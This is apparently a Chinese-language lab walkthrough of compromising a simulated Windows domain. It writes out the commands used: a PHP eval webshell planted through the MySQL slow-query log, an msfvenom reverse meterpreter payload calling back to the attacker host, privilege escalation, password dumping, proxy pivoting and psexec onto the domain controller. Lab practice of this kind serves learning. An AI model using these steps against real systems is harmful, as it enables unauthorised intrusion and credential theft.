网络拓扑图

本次实验攻击机为kali:192.168.60.128,web服务器为win7(双网卡,192.168.52.143/192.168.60.139),域内主机win2008 R2:192.168.52.138,win2003:192.168.52.141
注意关闭win7的防火墙,启动phpstudy服务
信息搜集+外网打点
先扫描一下外网web服务开放了哪些端口(用Windows)
1  | nmap.exe -A -p 1-65535 192.168.112.139  | 
发现开启了80和3306端口(mysql默认端口)

访问一下80端口,是一个phpstudy探针

扫一下目录(推荐用kali)
1  | dirsearch -u http://192.168.112.139/  | 

开启了phpmyadmin,使用root/root即可登录后台

有个CMS admin的账号和密码,数据库里面没有什么可用的信息了,尝试写马
1  | SHOW VARIABLES LIKE "secure%"  | 
回显NULL,说明不能正常写入,看看慢日志
1  | SELECT @@slow_query_log  | 
为0,未开启,我们设置其为1
1  | set global slow_query_log = 1  | 
继续查看一下慢日志路径
1  | SELECT @@slow_query_log_file  | 
显示C:\phpStudy\MySQL\data\stu1-slow.log,改变路径
1  | set global slow_query_log_file='C:\\phpStudy\\WWW\\shell.php'  | 
执行慢日志查询,插入一句话木马
1  | select "<?php eval($_POST[log]);?>" from yx_admin where sleep(11)  | 

getshell的另一种姿势
我的dirsearch没扫出来…..
可以找到一个beifen.rar文件以及一个/yxcms目录,该页面有admin的登录方式,admin/123456进入后台,可以发现一个前台模板的功能,该功能可以上传文件

上传后可以在beifen.rar中找到路径是啥(搜索acomment.php即可)


getshell

拿下shell后信息搜集
getshell,蚁剑连接,是管理员权限

是否存在域
内网环境分为域环境和非域环境,两者环境的渗透是不一样的,所以此时我们需要判断当前主机是否处在域环境中
这里有几种方法可供选择:
(1)net time /domain
- 如果当前主机处于工作组中未加入域,则显示找不到域控制器
 - 加入了域,且当前用户为本地用户包括本地管理员,则显示拒绝访问
 - 加入了域,且当前用户域用户,则显示域控的时间
 

(2)ipconfig /all
当前主机如果是工作组中,则主DNS后缀为空。如果加入了域则主DNS为域名
- 工作组:只要没有加入域,主机的网卡不管有没有自定义dns服务器ip。 执行 ipconfg /all 后主DNS后缀都为空
 - 域环境:只要加入域,不管当前用户为域用户还是本地用户,主DNS的后缀都为域名
 

(3)systeminfo
- 工作组环境systeminfo查询的显示为WORKGROUP,域环境查询的域是域名
 - 域中,不管此时是什么用户登陆。查询的域是域名
 

明显可以看出该主机在域内,有必要进行后渗透,拿下域控
网络连接情况 进程 杀软 服务 是否可以出网 用户开放情况
1  | 1.ipconfig 看所处网段是否有多个  | 
翻文件 txt 类型的 看是否有密码
1  | dir /s /b "C:\Your\Directory\Path\*.txt"  | 
后渗透
后渗透阶段,当我们已经将小马上传到web服务器上时,可以用webshell管理工具进行下一步渗透了。
cobalt strike(简称CS)及Metasploit(简称msf)各有所长,cs更适合作为稳控平台,msf更适用于与各类 内网信息搜集及漏洞利用。为了取长补短,我们通常会进行联动。
基于msf
这里的思路是将shell派送给CS或者msf进行下一步渗透。使用msf生成exe并开启监听(也可以用cs生产exe):
1  | msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.60.128 LPORT=9999 -f exe -o hack.exe  | 
将该exe文件上传到目录

kali执行
1  | msf6 post(multi/manage/shell_to_meterpreter) > use exploit/multi/handler  | 
运行hack.exe
1  | hack.exe  | 
sessions -i查看接收到的所有会话

1  | sessions 1  | 
成功上线
上线后的信息搜集
输入?可查看可使用的命令
扫描内网存活主机
1  | run post/windows/gather/arp_scanner RHOSTS=192.168.52.0/24  | 

提权
查看msf的提权
1  | run post/multi/recon/local_exploit_suggester  | 
成功提权

抓取域用户的密码信息
1  | Windows系统下的hash密码格式为:  | 
1.

1.

1.

远程连接
检查3389端口是否开启
1  | 3389 端口是远程桌面协议(Remote Desktop Protocol,简称 RDP)的默认端口。  | 

可以看到是关闭了的,应该是防火墙阻拦
使用run post/windows/manage/enable_rdp开启端口,再次扫描发现已经开启

基于cs
生成exe文件,上传并运行

成功上线,然后有现成的权限提升功能以及密码明文抓取
建立反向代理
正向代理就是指内网机器如果不能直接连到外网,建立正向代理可以连到外网,而反向代理则相反,是外网主机想要进入内网建立的代理。
首先新建一个路由
1  | run autoroute -s 192.168.52.0/24  | 
查看路由
1  | run autoroute -p  | 
挂起会话,建立socks
1  | background  | 
exploit后就挂起了一个job

然后修改/etc/proxychains4.conf文件

测试一下,发现可以成功访问到内网

内网信息搜集
arp 探测内网存活主机
1  | use post/windows/gather/arp_scanner  | 
扫到内网还有两台主机:192.168.52.138/192.168.52.141

也可以使用udp协议发现内网存活主机(有点慢)
1  | use auxiliary/scanner/discovery/udp_sweep  | 

域信息搜集
1  | net time /domain #查看时间服务器  | 
内网存活服务探测
1  | auxiliary/scanner/ftp/ftp_version #发现内网ftp服务,基于默认21端口  | 
查看域信息
1  | net view  | 

查看主域信息
1  | net view /domain  | 

横向渗透
端口扫描
1  | proxychains nmap -sT -Pn 192.168.52.141  | 

1  | proxychains nmap -sT -Pn 192.168.52.138  | 
这之后尝试了永恒之蓝,但并未成功拿下shell
psexec攻击直接拿下域控

点击抓取明文密码,然后点击这里

右键我们要拿下的域控主机

选择psexec,进行如下配置

监听器选择的是Beacon SMB
最后即可顺利拿下域控

© 2024 ycxlo